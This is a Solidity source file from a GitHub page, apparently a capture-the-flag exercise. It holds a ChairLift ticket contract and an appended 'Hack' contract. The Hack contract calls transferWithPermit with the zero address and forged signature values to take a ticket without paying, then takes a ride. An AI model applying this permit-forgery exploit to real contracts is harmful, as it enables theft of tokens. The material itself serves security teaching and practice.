-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathChairLift.sol
50 lines (41 loc) · 1.18 KB
/
ChairLift.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "./Ticket.sol";
contract ChairLift
{
uint256 public tripsTaken;
Ticket public ticket;
address owner;
constructor ()
{
ticket = new Ticket("Chairlift Ticket");
owner = msg.sender;
}
//To get a ride you have to buy a ticket first
function buyTicket() external payable
{
if (msg.sender != owner)
{
require (msg.value == 100_000 ether, "Ticket costs 100,000 ether, inflation has been hitting us hard too");
}
ticket.mint(msg.sender);
}
//USing your ticket you can take a ride on the chairlift
function takeRide(uint256 ticketId) external
{
require (ticket.ownerOf(ticketId) == msg.sender, "You don't own this ticket");
tripsTaken += 1;
ticket.burn(ticketId);
}
}
contract Hack {
ChairLift target;
constructor(ChairLift _target) {
target = _target;
}
function hack() external {
Ticket tr = target.ticket();
tr.transferWithPermit(address(0), address(this),1,block.timestamp,3,bytes32(uint(3233)), bytes32(uint(555)));
target.takeRide(1);
}
}